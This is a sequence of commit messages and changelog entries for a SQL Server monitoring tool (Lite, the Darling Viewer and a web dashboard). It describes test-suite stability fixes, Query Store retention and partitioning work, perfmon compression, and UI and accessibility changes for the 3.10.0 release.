The seven classes (RawGatePerSlotSourceFloorLiveTests, RawPurgeConvergeLiveTests, RawPurgeTriggerGateErrorTests, RawPurgeTriggerLiveTests, RawRepairEpochTriggerLiveTests, RawTablesLeaveCatalogSweepLiveTests, RetentionHoldAndCadenceRawRedirectLiveTests) now dispose their scratch databases in each test. A new guard-stage census, ScratchDatabaseDisposalCensusTests, fails for a test that mints a scratch database and never disposes it. The exit drain runs clusters side by side and up to 16 drops at once under one 6 s deadline (ExitDrainBudgetSeconds). It returns at the deadline even with a drop in flight, never cancels a sent DROP DATABASE, and names each database it did not finish. It keeps the dead-cluster probe and the quiesce before each drop.

On four hanging clusters the old drain took 12.0 s and the new one 3.0 s. Nightly run 37746531776 with both commits passed: 28,773 tests, 0 failed, no FATAL line, and no database left for the exit drain.

Refs #5480

* Release checks: small fixes from the final walk of Lite and the Darling Viewer (#5542)

Lite's Collector Schedules list no longer looks contradictory. Status reads "Uses default" or "Own schedule", both column headers have a tooltip, and a Custom preset has a tooltip that names the collector intervals that differ from the closest preset.

The Health column in the Server Inventory (Lite, Darling Viewer, web page and MCP tool) shows the same score as that server's Utilization view. Before, it showed almost the same number for every server.

The Darling Viewer's Overview card shows the date of a collection that is not from today. The Alert History and Job History time columns name the clock they read on, and Alert History says when it shows only the newest 500. The Overview search also narrows the fleet roll-up above the cards. An Availability Group on old data reads Stale, not Healthy, in the Viewer and Lite.

Screen readers now read column headers, filter buttons, empty cells, grid rows and server list items by name in Lite and the Viewer. Before, they read a class name or a bare glyph.

The FinOps Utilization view shows dashes for Avg, P95 and Max CPU when a server has no CPU sample in the last 24 hours. It hides the database sizes chart then, and the web page and MCP tool return null for those three figures. The Storage Growth baseline rule from #5492 is now pinned with tests.

SECTION: Fixed
ENTRY:
- **Small fixes across Lite and the Darling Viewer from the final release walk: Collector Schedules wording, Server Inventory health, time columns, screen-reader names and FinOps dashes** ([#5542]) - Every server showed Preset "Custom" next to Status "Default", which read as a contradiction. Status now reads "Uses default" or "Own schedule", both column headers have a tooltip, and a Custom preset has a tooltip naming the collector intervals that differ from the closest preset. The Server Inventory Health column in Lite and the Darling Viewer, web page and MCP tool now shows the same score as that server's Utilization view; it used to show almost the same number for every server because it scored average CPU against fixed memory and storage values. The Darling Viewer's Overview card shows the date of a collection that is not from today, the Alert History and Job History time columns name the clock they read on (and Viewer Job History rows read on their own server's clock), Alert History says when it shows only the newest 500, the Overview search also narrows the fleet roll-up above the cards ("Monitoring 2 of 9 servers"), and an Availability Group on old data reads Stale instead of Healthy in the Viewer and Lite. Screen readers now read column headers, their filter buttons, empty cells (text or templated), grid rows and server list items by name in Lite and the Viewer (they read as "System.Windows.Controls.StackPanel", a bare glyph or a type name before; a row now reads as its first two visible columns, such as "Time 06:01:12, Server example-sql-01"). The FinOps Utilization view in Lite and the Darling Viewer shows dashes for Avg, P95 and Max CPU when a server has no CPU sample in the last 24 hours (they read 0.00%, 0.00% and 0%) and hides the database sizes chart then, and the web page's Utilization read and the MCP tool return null for those three figures. The Server Inventory dash in place of a health score now has a tooltip that names both reasons for it (no CPU sample in the last 24 hours, or no memory sample collected), and Lite's Alert History count follows a column filter, as the Darling Viewer's does.

* Darling tests: a scratch database drop no longer hands its backend to the next test, and the retired-baseline race no longer runs a refresh beside the drop (#5550)

A PostgreSQL backend crashed with exception 0xC0000005 during a CI run of the Darling tests. It was running a TimescaleDB refresh of an aggregate that the retired-baseline sweep test was dropping. The same backend had just run a scratch DROP DATABASE ... WITH (FORCE) on a pooled admin connection.

ScratchPostgres now creates, drops and sweeps scratch databases on unpooled connections. A backend that ran a DROP DATABASE ends with its connection and never runs a later test's job. Every other test that drops a PostgreSQL database does the same. ScratchDatabaseSweep now stops an abandoned database's TimescaleDB jobs and waits for its job workers before one plain drop.

A new guard-stage census, UnpooledDropConnectionCensusTests, checks every DROP DATABASE in the tests. It fails on a pooled connection, or when the method does not stop the database's jobs first. Each exception is an allow-list entry that names the method and its reason.

The retired-baseline race test is deterministic. The refresh job runs for real before the sweep. Then an open transaction holds ROW EXCLUSIVE on the materialization hypertable, in place of the next refresh. The first drop attempt gives up behind it after 500 ms, and every earlier assertion stays. The fixture's refresh policy is parked a day out, so the scheduler never starts it during the drop.

The test opens its connections with the product's search path. It also qualifies run_job with the extension's schema, which fixes a 42883 error the old test swallowed on a fresh database. The CI clusters log the session id (%c) on every line.

Nightly runs 37757915982 and 37757919141 on the first commit passed: 28,862 tests, 0 failed, and no crashed backend. The product sweep's own race with a refresh is #5551.

Fixes #5549

* Lite's Job History reads only the selected time range, and tab loads read off the UI thread (#5457) (#5553)

Lite's Job History read now applies the selected time range before it removes duplicate rows between the live data and the archive. The duplicate key includes the run time, so DuckDB pushes the range into the table and archive scans. One server's 4-hour read dropped from 4 to 8 seconds and 600 to 730 MB. It now takes under a second and under 300 MB, with the same rows.

Some reads awaited the database on the window thread. They now run in Task.Run. They are the Availability Groups tab, the FinOps tab, the plan viewer metadata, the Overview tag refresh, and the Manage Tags, Database State Overrides, history, drill-down and Collection Log windows. A new test fails if a tab or window goes back to waiting there.

Lite's DuckDB memory limit is now a setting, "DuckDB memory limit" under Dashboard Defaults in Settings. It takes a whole number of GB from 1 to 80% of the machine's memory, and the default stays 2 GB. A missing or out-of-range stored value falls back to the default and logs one line. Lite reads the limit at startup, so a new value takes effect after a restart. The archive COPY raise uses the larger of 4 GB and the setting. The thread count follows the limit: the smaller of 8, the core count and the limit divided by 256 MB. A DuckDB out-of-memory error now names the setting and its current value.

SECTION: Fixed
ENTRY: - **Lite's Job History tab reads only the selected time range, and tab loads no longer wait on the database from the window** ([#5553]) - Every Job History read loaded and sorted each server's whole archived job history before it dropped the runs outside the selected range. On a 30-server test store that cost 4 to 8 seconds and 600 to 730 MB per server, and on a larger store it can run out of DuckDB's memory cap. The archive view now applies the time range first: 0.5 to 0.7 seconds, under 300 MB, same rows. The Availability Groups and FinOps tab loads, opening a plan viewer from a tab, the Overview's tag refresh, and the Manage Tags, Database State Overrides, history, drill-down and Collection Log windows also awaited their database reads and writes on the window's own thread. There they can wait behind archival or a long read. They now read off that thread.
SECTION: Added
ENTRY: - **Lite has a DuckDB memory limit setting** ([#5553]) - Settings, Dashboard Defaults, "DuckDB memory limit" sets the main DuckDB connection's memory limit (default 2 GB, range 1 GB to 80% of memory, applied after a restart). The thread count follows it as the smaller of 8, the core count and the limit divided by 256 MB, and out-of-memory errors name the setting and its current value,. The log names it too.

Fixes #5457

* The startup sweeps stop a continuous aggregate's jobs before they drop it (#5552)

Three store-convergence sweeps drop a TimescaleDB continuous aggregate with DROP MATERIALIZED VIEW ... CASCADE: the superseded and retired passes of DropRetiredBaselineAggregatesAsync, and the composer reshape in DropStaleContinuousAggregatesAsync. None of them stopped the aggregate's refresh jobs first. A refresh running during the drop failed it with XX000 tuple concurrently deleted (#5416). It is also the inferred cause of a backend crash in CI (#5549).

Before each drop, QuiesceContinuousAggregateJobsAsync finds the aggregate's jobs, including a dependent daily tier. It unschedules the ones that are scheduled and waits for two empty looks at pg_stat_activity for their workers, under a 30 s cap. Unscheduling makes the TimescaleDB scheduler end a running worker within a few seconds. The refresh rolls back and counts as one failed run. If a worker is still listed at the final look, the jobs are scheduled again and the drop waits for the next pass.

A failed drop, a cancellation or a failed look also schedules the jobs again, each on a grace token of its own. When the jobs cannot be scheduled again, the log names the job ids and the view. The reshape sweep now reopens a broken connection, like the retired-baseline sweep.

Live tests cover each path. The jobs stop before the drop, and a real worker held by an advisory lock holds the drop back. Other tests cover the cap, a failed drop, a cancellation and an already-unscheduled job. Pin tests hold the SQL, and a census fails on a new product drop site. A kept aggregate whose refresh was ended can raise the job-failure alert once, at information level.

Fixes #5551

* Release 3.10.0: changelog entries for the last fixes (#5557)

Adds the changelog entries for the 3.10.0 PRs that merged after the first splice: #5528, #5532, #5537, #5542, #5543, #5552 and #5553. Each full entry goes into docs/changelog/3.10.md and its title-only line into the CHANGELOG.md index. The archive census row for 3.10.0 moves from 257 to 265 entries.

Changelog entries for the 3.10.0 PRs merged after the first splice.

* The 27 MB plan walk and 20 MB cut-walk timing pins judge the fastest of three runs (#5561) (#5563)

The 27 MB plan walk pin and the 20 MB cut-walk pin each judged a single run against a fixed time limit. One stalled run on a busy shared runner failed a correct walk (8.1 s once, against 0.6 s on the next run). Each now judges the fastest of three runs against the same limits, which are not raised. A busy machine only adds time, so the fastest run is the one it touched least. A walk that is really slow stays slow in every run.

The ring-buffer pin already compared its 4 MB rate with a 1 MB baseline from the same run. It took the fastest of two runs on the big side and three on the baseline side. Both sides now take three. Test-only change.

Fixes #5561

* Darling Viewer: Top Queries, Top Procedures and Query Store tabs make fewer store calls (#5555) (#5556)

The Darling Viewer's Top Queries, Top Procedures and Query Store tabs make fewer store calls and overlap their grid and slicer reads. A 7 day Top Queries load fetched each row's query text with its own call, 50 calls in all. It is now one call. On a test link with an 80 ms round trip, the grid read went from 22 seconds to under 1 second.

The Long Queries tab starts its trace check beside its two grid reads, so a load costs one round trip, not two. A failed trace check no longer throws away a good grid. The rows are shown, the note is left as it was, and the failure is logged.

The status bar's Database size now comes from the size the service records. When none is recorded, or it cannot be read, the Viewer measures it live and logs the cause once. If the recorded read times out, the Viewer keeps the last size shown instead of starting a slower live measurement. A tab load slower than 3 seconds logs one line that names the tab and the time of each store read, including the baseline comparison.

Fixes #5555

* Lite and Darling WPF tests take one gate so parallel STA classes stop racing a shared WPF cache (#5559) (#5567)

Fixes a test flake where two test classes, each on its own STA thread, corrupted a dictionary that WPF shares across the process. DependencyPropertyDescriptor.FromProperty hands every thread the same descriptor from a static cache. That descriptor's AddValueChanged writes a dictionary with no lock. The app has one UI thread, so the product never races. xUnit runs about fifty STA classes in parallel, so the tests did.

Every STA test helper in Lite.Tests (26 files) and Darling.Tests (25 files) now takes one shared gate before it creates its thread. It holds the gate until it joins. A census class in each project names any test file that starts an STA thread without the gate. This is a test-only change and touches no product code.

Fixes #5559

* Role provisioning runs one batch at a time, and the viewer-grant test replays stop rewriting the shared database's access list (#5560) (#5566)

Two sessions rewriting one catalog row at once make the second fail with "tuple concurrently updated". The live tests that replay the viewer's grants kept the managed store's database name. So they all rewrote the connect list of the cluster's own darling database together, and their cleanup rewrote it again. They now aim at each test's own scratch database.

The role provisioning batch at service start now runs in one transaction behind an advisory lock. So does the reload's statement_timeout step, and so does the self-managed store's password-rules step. Two services starting against one store wait for each other.

The wait is polled once a second and bounded at 12 seconds at start and 5 seconds on a reload. If something else holds the lock longer, one warning names the key and the session holding it, and the write runs without the lock. A write that fails because another session wrote the same row at once is run again, up to twice, each time in a new transaction. That covers a concurrent update, a duplicate key, a duplicate role and a deadlock.

The reads that decide what to write run inside the locked transaction, so they see the state after the wait.

New tests pin the replay's target, the bounded wait and its warning, the retry and the codes it covers, and the order of the reads. One pins the one-database rule the lock relies on. Others apply the real batch twice, inside the lock and without it.

SECTION: Fixed
ENTRY: - **Two services starting against one PostgreSQL store no longer fail each other's role provisioning** ([#5566]) - the role and privilege batch that runs at start, and the reload's statement_timeout re-assert, failed with "tuple concurrently updated" when a second service ran the same statements at once. That left the viewer and MCP roles stale until the next start. Both now take an advisory lock first, so the second waits for the first. The wait is bounded at 12 seconds at start and 5 seconds on a reload. If something else holds the lock for longer, one warning names the session that holds it and the write runs without the lock. A write that fails because the other session wrote the same row first is run again up to twice. The self-managed store's password-rules step takes the same lock.

Fixes #5560

* The Query Store interval tables' retention purge deletes in row-capped batches (#5572)

The Query Store interval purge finishes on a large store.

On a large store, the purge of the wide and latest Query Store interval tables never removed anything. It deleted a whole day in one statement, and that statement passed the command timeout on every pass.

The purge now deletes in batches of up to 50,000 rows, oldest first, and commits each batch. A batch that times out is retried at half the size, down to a floor. Each batch starts where the last one ended, so the index entries of rows already deleted are not read again. A backlog drains over a few passes, and a pass that stops partway keeps what it removed. The plan content table uses the same batch form, and now also starts each batch where the last one ended.

Every batch statement names its table with the collect schema. The timeout warning always names the table.

Plan check on a large store, read-only: all four batch statements read the first-execution-time index in order. None used a sequential scan, hash join or sort. A 50,000-row batch selected its rows in 0.3 s on the wide table and 1.7 s on the latest table.

Tests: a forced timeout on a locked row proves a timed-out pass keeps its progress. On the old code the same test removes nothing. A backlog that spans several days drains to the cutoff. The plan content drain tests cover a group of rows with the same last-seen time.

No schema change.

Fixes #5569

* Recommendations skip databases that are a secondary copy on this node (#5564)

Recommendations skip databases that are a secondary copy on this node.

On an Availability Group, the Recommendations tab reported the same per-database finding once per node, secondary copies included. A database's settings and Query Store content replicate from the primary, so every node said the same thing about it.

Lite and Darling now skip those findings for a database this node holds only as a secondary copy. These are database settings, percent file growth, Query Store plan regressions and table growth. On the FinOps tab they are idle databases, dev and test names, TDE blockers and compression candidates. The node that holds the primary copy reports them. Findings about work on the node, such as queries, missing indexes, blocking and I/O, stay on every node.

The rule reads the replica and database snapshots the monitor already stores. It adds no query on the monitored server, no collector change and no schema change. A database is skipped only when three things hold. Both snapshots exist and are within an hour of the window end. The database has a local row. This node's role for that database's group is SECONDARY.

Missing, stale, NULL, RESOLVING, standalone and Azure SQL Database cases skip nothing. A point-in-time pass and each compare window use the role at that time. Database names match exactly, since both sides come from the same server catalog.

What it shows. The tab says how many databases it skipped. The analyze_server, compare_analysis and get_analysis_facts tools carry one secondary_replica_note field, built from the same set the pass used. The regressed-queries drill-downs filter in SQL before their row limit. Finding alerts follow the same rule.

Fixes #5558

* Release checks: fixes from the morning walk of Lite, the Darling Viewer and the web dashboard (#5554)

Fixes found in the morning walk of Lite, the Darling Viewer and the web dashboard.

Running Jobs. The tab in Lite and the Viewer, and the get_running_jobs tool, list only jobs the collector's latest successful run found. A snapshot older than the long-running-job alert's bound is not listed. That bound is three missed cycles at the server's running_jobs cadence, at least 10 minutes. When that hides the jobs, the tab and the tool say collection is not current. They give the time of the last good collection.

Running Jobs read errors. A failed read shows "The running jobs could not be read" instead of "No SQL Agent jobs are running." The empty grid says so in words. The column headers are wide enough to read.

File I/O. The Read Latency chart no longer goes blank on a server whose busiest files are logs. Each chart draws its own ten files, exactly as the read ranked them. The read says which ten each file is in. The read chart takes the ten busiest by reads and the write chart the ten busiest by writes. The ranking puts NULLs last and breaks ties by file name the same way in the DuckDB and PostgreSQL stores.

Overview I/O Latency lane. It weights read latency by reads.

Lite's own queries no longer top Top Queries by Duration or Query Store by Duration. That covers its Query Store probe, its plan and text fetches, its connect-time detection query and its failed-jobs and job-step reads.

Saved plans and exports. The Live Snapshot button and the six Get Actual Plan sites judge statement text and plans with the same statement filter as the screens. The filter runs off the UI thread. A plan the filter withholds is refused on save. The test that lists every place Lite opens its own server connection now covers all of Lite, with a reason for each file.

Databases filter. Select All, or ticking every collected database, means All. Databases collected later are then included. A filter for databases that are not collected yet stays a filter when the read of collected names fails.

Server tabs in Lite and the Viewer. Empty Trace Flags, Running Jobs and Query Store Regressions grids say why they are empty. Configuration and Index Analysis headers and notes read in plain words.

Screen readers and Compare. The toolbar combos and plan operators have names for screen readers. The disabled Compare box says where it works. An empty comparison period says so. The Repro script's Generated line is in UTC.

Web dashboard, pages. The footer Updated time follows the page's own latest load. It keeps its last good value when a poll fails. A read narrowed to its limit and then answered is not a failure.

Job History and views. Job History messages are readable and open in full. A saved view opens on its server and says whose pick the scope is. It says all servers when its own setting is All. The Databases popover closes on a tab change. Offline fleet cards, Availability Group counts and several empty-state sentences read correctly.

Web dashboard, service. A failed web request leaves exactly one service-log line, and it names the server and the cause. A failure before sign-in from one address is logged once per ten minutes. An unknown server is reported as not found. A registry lookup that fails no longer reads as "not registered". The offline-age read is cached and holds one pooled connection at a time.

* Release 3.10.0: changelog entries for the last gate fixes (#5576)

Adds the CHANGELOG entries for the PRs merged after the second splice. They cover the Viewer query tab loads (#5556), role provisioning under a lock (#5566) and the Query Store interval purge (#5572). They also cover Recommendations skipping secondary copies (#5564) and the release-walk fixes (#5554). The release-walk fixes get seven new entries, one per topic, written from the squash body. Each full entry goes into docs/changelog/3.10.md and its title-only line into CHANGELOG.md, with the archive census updated.

Changelog entries for the 3.10.0 gate PRs merged after the second splice.

* The module map refresh no longer holds back the collectors at start (#5578) (#5580)

The module map refresh no longer holds back the collectors at start.

On a large store, the service spent about 55 seconds at start refreshing the module map from procedure_stats before any collector ran. That happened on every restart. No collector reads the map.

The start path now only creates the module map table, which readers need. The refresh itself runs from the sweep loop's first pass, after the collectors start. Two existing homes run it there, and neither is awaited. The hourly store-maintenance tick reads from the watermark. The daily purge re-reads the repair span behind it.

A restart still repairs the same span as before. A store with no watermark still reads two days, now after the collectors start.

The unused start-up refresh method is removed. Its live tests now call the daily refresh, which reads the same span. A new test pins the order: the table is created before the collectors start, and every refresh runs after.

Fixes #5578

* The module map refresh groups procedure_stats before its DISTINCT ON (#5583) (#5584)

The module map refresh groups procedure_stats before its DISTINCT ON (#5583)

The module map's daily refresh read every procedure_stats row in its 30-hour window and sorted all of them to keep the newest row per handle. On a large store that was 10.6 M rows for 21,636 handles: the sort spilled 2.19 GB, and the whole statement took 35.5 s. Both refreshes now group the rows by server, handle and names first, with the newest collection time per group. On a copy of that store the same window ran in 8.3 s with no spill. The map and its watermark come out the same.

Fixes #5583

* Query Store interval tables are partitioned by day (#5573)

The Query Store interval tables are partitioned by day.

On the PostgreSQL store, collect.query_store_interval_wide and collect.query_store_interval_latest now hold one partition per day of first_execution_time. Retention drops a whole expired day instead of deleting its rows. Reads bounded on first_execution_time skip the days outside their range.

The upgrade copies no data. Rungs V171 (wide) and V172 (latest) rename the current table to <table>_legacy and attach it as a partition below a bound. A NOT VALID CHECK constraint proves that bound, so the attach does not scan the table. The service validates the CHECK in the background, outside start-up, and every start-up statement stays under the migration command timeout.

On a restored copy of a large store, V171 took 1.10 s and V172 took 20.5 ms. Of V171's time, 1.02 s was a wait behind an autovacuum. The background VALIDATE took 389 s on the 91 GB wide table and 200 s on the latest table.

An hourly step brings each table to its final state. It arms the CHECK, validates it and promotes the legacy partition to its final bound. It re-arms the CHECK when the bound is less than 12 hours away.

The arm reads the legacy table's newest row through an index, with a 5 s limit. A row dated more than one retention horizon past the normal bound keeps the table unpartitioned until the row is gone. The service logs one warning about it. A VALIDATE that finds a row at or past the bound drops the CHECK and logs why. ANALYZE runs outside the hourly step (ANALYZE ONLY on PostgreSQL 18 and later).

The legacy partition empties through the row-capped retention purge and is dropped once it is past the horizon. The DEFAULT partition gets a plain DELETE. Store self-metrics read partitioned and plain tables alike.

Tests cover the rungs (no scan at attach), the hourly step and each of its failure paths, and the drop race. They also cover partition pruning of the shipped bounded reads, and retention on both layouts.

Fixes #5571

* Column filters list a column's values to tick, like Excel, and stay set across refreshes and restarts (#5577)

A text column's filter now lists the values in that column, like the filter in Excel, in Lite, the Darling viewer and the web dashboard. You can tick the values you want, search the list, use Select All, and tick a "(Blanks)" entry for empty cells. Unticking a few values remembers them as hidden, so a new login still shows after a refresh. Ticking a few remembers them as the only ones to show.

Number and time columns keep the text match only. Query text, plan, XML, message, detail, description, reason, error and script columns also keep the text match only, and that match lasts for the session. The filter stays set across refreshes, tab switches and restarts, per server, grid and column. Lite and the viewer keep it in a file next to their settings, and the web dashboard keeps it in the browser. A value filter left on a column that no longer gets a list shows read-only with a Clear button.

Fixes #5565

* After a big retention drain, warm each server's Query Store floor read in the background (#5581) (#5585)

After a big retention drain, warm each server's Query Store floor read in the background (#5581)

A big retention purge leaves many dead index entries in the Query Store interval tables. The first floor read for each server then walks every one of them. On a large store that read took 19.6 s for one server. The retention pass now runs the same floor read once per server when it finishes, one server at a time. A user's first read then finds the entries already marked.

It runs only when the purge deleted rows or failed. A pass that only drops whole day partitions skips it, because a dropped partition takes its index entries with it.

The warm-up runs in the background purge task, never on the sweep loop. A server whose table is locked is skipped and logged, and a failure never fails the purge. On a copy of that store, the warm-up took 645 s for 43 servers, and the reads after it took 16 ms in total.

Fixes #5581

* Web charts draw at the panel's real width, so axis text is not stretched (#5586) (#5590)

Line, scatter and ranked bar charts in the web viewer now draw at the width of their panel. Axis text and bar labels keep their normal size on a wide screen and on a phone. Before, a line or scatter chart drew a fixed 1000 by 320 picture that the page stretched sideways but not vertically. Its text was about 2.1 times too wide at 2,000 px and shrank on narrow panels. The bar chart drew a 1000-wide picture that scaled with the panel, so its labels grew and shrank with it.

A resize redraws the charts once per frame and fetches nothing. The zoom, hidden series and event markers survive it. The x axis time labels follow the width, so none overlap on a phone and none repeat. Whole-minute labels serve a zoomed window of a few minutes, and seconds a shorter one. A window across a clock change labels each tick with its time zone. The bar chart cuts a long label to fit, and a threshold line stops at a value.

A chart measured before is drawn at that width on the next refresh, so it is built once. The scatter chart's last x label and its unit caption stay clear of each other. Printing a page scales each chart to the page width. Charts draw down to a 200 px box, so a phone shows them whole.

Fixes #5586

* Query Store interval tables stop cancelling their own autovacuum (#5589, #5594) (#5593)

Query Store interval tables stop cancelling their own autovacuum (#5589, #5594)

Two things the service did on the Query Store interval tables cancelled a running autovacuum, so autovacuum on those tables never finished.

The interval arm (#5589). While a table is not promoted, its legacy table is the whole live table. A monitored clock can put its newest first_execution_time more than one retention horizon ahead. In that state two loops took an ACCESS EXCLUSIVE lock every hour before they read that time. Each request cancelled the autovacuum.

The arm now reads the newest time first, without a lock. When that time is too far ahead, it warns once and returns without a lock request.

BRIN autosummarize (#5594). The collection_time BRIN index had autosummarize on. Each new block range queued a summarize request that waits for the table's lock, and after one second that wait cancelled the autovacuum. After a large purge this happened about every 2 minutes.

Autosummarize is now off on every BRIN index of both interval tables. New indexes and new day partitions get it off. The hourly maintenance pass turns it off on existing indexes, which cancels a running autovacuum at most once per index. It skips an index while a vacuum that cannot be cancelled runs on its table, such as a manual VACUUM or an anti-wraparound autovacuum. Otherwise it waits for the lock for at most deadlock_timeout plus one second, and never more than 5 seconds.

The same pass now summarizes new ranges itself. It waits for a lock for at most half of deadlock_timeout, so it gives up before the wait cancels an autovacuum. It skips a table that is being vacuumed. It works one range at a time and stops between ranges when its time runs out, so it leaves no range half done.

On a test server with steady inserts and a slow vacuum, autovacuum was cancelled 69 times in 4 minutes with autosummarize on, and never finished. With it off, nothing cancelled it and the vacuum finished.

Fixes #5589
Fixes #5594

* Test processes no longer pay 0.3 s per WPF STA thread at exit, which failed green Darling runs (#5596) (#5598)

The Darling whole-tree guards job (and some Lite test shards) failed or lingered after every test had passed. The runner printed "Waiting 10 seconds for foreground threads to exit..." and then "[FATAL ERROR] Foreground threads were left running, forcing process exit", with exit code 1 and 0 failed tests. No thread was left running. The runner only reports that the process was still alive 1 second after the run returned, and it forces exit 10 seconds later.

What kept it alive was WPF's own exit handling. Each STA test thread that uses a WPF weak-event manager (a bound grid, say) makes WPF create a weak-event table. The table registers a process-exit handler.

At exit that handler runs on the main thread and finds the table's own thread gone. It then asks the dead dispatcher to purge the table, with a 300 millisecond timeout nobody answers. That costs about 0.3 seconds for every such test thread, after the run returns. About fifty test files start their own STA thread, so the exit stage grew past the 11 seconds the runner allows.

WPF has a runtime switch for exactly this case (Switch.MS.Internal.DoNotInvokeInWeakEventTableShutdownListener), which makes the handler purge the table directly. Both test projects now set it in their runtime configuration.

New tests: WpfExitSwitchTests runs in both test processes. It checks that the switch is on and that the installed WPF still knows its name. It also checks that a weak-event table's exit handler for an ended STA thread returns at once instead of after the 300 ms wait. WpfExitSwitchPinTests checks that both project files declare the switch. This is a CI-only fix: no product code changed.

Fixes #5596

* Collection Falling Behind no longer fires in the first hour after every service start (#5597) (#5599)

The "Collection Falling Behind" alert no longer fires in the first hour after every service start. It leaves out what was counted in the first 15 minutes after the service starts, whichever way the clock steps. It does not fire or resolve until it has 15 minutes to judge. A store that stays behind still fires about 30 minutes after the start. Only a service start gets those minutes, once per process, not a stall, a pause ending or the memory launch guard's release. Slots that came due while a server was still seeding its schedule are no longer counted as skipped.

Fixes #5597

* A hung Darling or Lite test shard names its test and still uploads its logs (#5587) (#5591)

A hung test shard names its test and keeps its logs (#5587)

A Darling PostgreSQL test shard ran into the job's 30-minute timeout and lost everything. GitHub left the later steps pending, kept no log and uploaded no timing. The build workflow's Darling and Lite test steps now have their own 22-minute timeout. So the upload steps still run when a shard hangs. The runner reports any test that has run for 5 minutes, and its output is uploaded whatever the step did.

The nightly run gets the same report and uploads. Its Lite step gets a 140-minute timeout. Its Darling step gets none, because its longest recent run takes 84% of the time a timeout leaves it. One test (RollupBackfillLiveTests) waited up to an hour while holding a lock. It now gives up after 60 seconds and fails by name.

Fixes #5587

* Time range picker: more presets, calendar periods and typed ranges (#5570)

* Perfmon data is compressed per counter, so a one-counter trend reads only that counter's data (#5574) (#5579)

* Perfmon data is compressed per counter, and chunks compressed by server alone are re-grouped (#5574)

New perfmon_stats chunks compress by server_id and counter_name. An hourly pass re-groups the
already compressed chunks inside the 30-day trend reach, newest first, one transaction per chunk
under the bounded lock timeout, for at most two minutes a pass. Below the floor (no per-chunk
settings view, TimescaleDB 2.14.1) nothing changes.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015vDtCAiuajanNsX2cbhnwg

* Perfmon re-group: readers are never blocked, and a background loop converges the 30-day reach in hours (#5574)

The re-group now decompresses a chunk in one transaction and compresses it in a second, so the ACCESS EXCLUSIVE lock that decompress_chunk takes at its end is released before the compress half; reads of the chunk no longer wait for the rewrite. The work moves from a 2-minute slice of each hourly pass to a background loop (PerfmonRegroupDrain): one chunk at a time, newest first, a pause after each chunk as long as it took (at least 15 s), a busy lock skips the chunk for the run, three failures in a row stop it, and it ends on its own once nothing is left.

* perfmon re-group: live tests for the crash between halves, the pause, a busy lock, repeated failure, the compress retry, the plan shape, a concurrent reader and a service stop (#5574)

* perfmon re-group tests: hold a chunk's lock through a disposable (live-cleanup ratchet), reader bound 2.5 s (#5574)

* perfmon re-group: pause for the time a busy lock cost, 30-minute statement cap, remember done and capped chunks, honest run-end reasons (#5574)

* perfmon re-group: server cancel logged as such with its real time, gone chunk at either half confirmed by the chunk catalog, sturdier reach and reader tests (#5574)

* get_perfmon_trend reaches 30 days on the web and MCP; the two timed re-group tests run in the timing collection (#5574)

---------

Co-authored-by: Claude Sonnet 5.5 <noreply@anthropic.com>

* Tests stop sharing WPF threads, Postgres roles and runner CPU (#5604)

* A one-day Custom Views panel on Query Store data reads an hourly rollup, or is refused up front (#5588)

On a large store, a one-day Custom Views panel on the Query Store wide table read 8.46 M rows. Cold, it took 55.2 s against the 60 s statement timeout, so a slightly larger store or a busier hour timed out.

Refusal. Before it runs a Query Store panel, the read guard estimates the rows it will read. The limit is 6.8 M rows for one scan and 5.4 M rows for two. Above it, the panel is refused up front with the reason, rather than running into the timeout.

One scan or two. A ranked time series panel reads the wide rows once only when time buckets times group members stay at or below 1.0 M. Above that, one scan risks the 1 GB temp file limit.

The server count is exact. For the database and module dimensions the count comes from planner statistics. Those run low on a large store (module names were 1.7 times low), so the count is multiplied by 4. A query hash ranking always takes two scans: on the large store, one scan of it wrote about 1 GB of temp files.

The hourly rollup (schema V173). The wide table gets an hourly rollup at the grain of each collection. It has one row per collection time, server, database, module and query hash, with the numeric sums a panel needs. The service builds an hour about 2 hours after it ends, up to 6 hours a tick.

Two triggers on the wide table mark an hour stale when a row lands in it after it ended an hour ago or more. The service then rebuilds it. The build of an hour waits while a write transaction that began early enough to touch it is still open.

Reading. A panel reads built hours from the rollup. It reads stale hours and the newest hours from the wide table. It returns exactly what the wide table alone returns. Live tests compare the two answers value for value, for every measure, aggregate and panel mode. The read guard counts a rollup hour at 0.3 of a wide hour, and a field run after deploy checks that weight.

The triggers cost about 13% more time per write for rows of the current hour on a test server. Rows that fire them cost up to about 55 ms more per 10,000 rows.

Upgrade. V173 adds the triggers to every partition of the wide table. If an anti-wraparound autovacuum is running on a large partition, the upgrade waits for it, and collection waits with it. On the large store the wide table was far from one: its transaction age was about 40 M, and that vacuum starts at 200 M. A migration step that hits its lock timeout now logs who holds the locks. It lists each session with a write lock or stronger on the store's tables. It logs at most every 10 minutes.

Part of #5582. Its round-2 fixes follow in their own pull request.

* Live tests no longer fail when their seeded window crosses midnight UTC (#5609)

The newest-snapshot block-count test seeded its window at the wall clock. Between 00:00 and 04:00 UTC that window crossed a day chunk boundary. The blocks the newest read touches then swung from 13 to 138, against a limit of 88. The test failed on every pull request whose Darling PG shard ran in that window. An earlier live test failed the same way between 00:00 and 03:00 UTC, so the fix covers the whole class of tests, not one.

A new LiveClock test helper gives two things. AnchoredEnd() is a fixed point inside one day chunk, 22:00 UTC on the previous day. Now() is the clock with a test-only override, the DARLING_TEST_CLOCK_UTC environment variable, which only the tests read. The machine clock is never changed.

Two audits covered 68 live test files that read the wall clock and use EXPLAIN or the chunk catalog. Each file now does one of three things. Its seeded window ends at AnchoredEnd(). Or its clock reads go through Now() where the test passes that time to the product. Or its assertion holds for any chunk layout.

A file whose product read takes its own clock stays on the real clock, with the reason written down. The force-plan failures test is one of these. Its read builds a two-hour window from the product's own clock, so a seed taken from the override fell outside it.

A new census, LiveClockCensusTests, has two rules. A live test that counts plan blocks, or uses EXPLAIN or the chunk catalog, and reads the wall clock without LiveClock fails. Each exception is on an allow list with its reason, and a stale entry fails. Run against dev without these changes, the census names 34 files.

The fixed classes passed with the override at 00:30 UTC and at 12:00 UTC and with it unset. The guards still fail on the defects they were written for. This is a test-only change.

Fixes #5608

* Query Store rollup: the build wait counts only writers of the wide table, and the migration lock log lists every lock holder (#5610)

The hourly Query Store rollup from #5588 held back its builds while any transaction in the database that had written something was still open. One long unrelated write stopped the builds, and panels went back to reading the wide table.

